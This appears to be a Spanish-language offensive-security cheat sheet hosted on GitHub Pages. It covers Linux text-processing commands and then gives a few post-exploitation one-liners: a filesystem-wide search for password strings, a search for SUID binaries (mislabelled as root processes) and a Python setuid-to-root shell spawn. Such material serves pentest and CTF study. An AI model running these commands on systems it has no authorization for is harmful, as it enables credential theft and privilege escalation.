thebasshound.github.io

tips de ciberseguridad ofensiva en español

View on GitHub

Comandos

Operaciones con cadenas de texto

Búsqueda recursiva(a través de los directorios) de una cadena de texto

grep -r "Cadena de texto"

sed es un editor de streams, útil para el intercambio de letras o palabras

kali@kali:~$echo "I need to try hard" | sed 's/hard/harder/'
I need to try harder

cut permite extraer una sección de texto, la opción -f permite elegir un campo(columna) y -d indicar un delimitador.

kali@kali:~$cut -d ":" -f 1 /etc/passwd
root
daemon
bin
sys
sync
games
...

awk es un lenguaje de programación para el procesamiento de texto. La opción -F es un separador de campos y el subcomando print imprime el resultado

kali@kali:~$echo "hello::there::friend" | awk -F "::" '{print $1, $3}'
hello friend

Tip: con el comando tr -d '\n' se pueden eliminar los saltos de línea de una salida

Buscar passwords

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

Buscar procesos que se ejecutan como root

find / -uid 0 -perm -4000 -type f 2>/dev/null

Elevación de privilegios cuando python se ejecuta como root

python3.7 -c 'import os; os.setuid(0); os.system("/bin/sh")’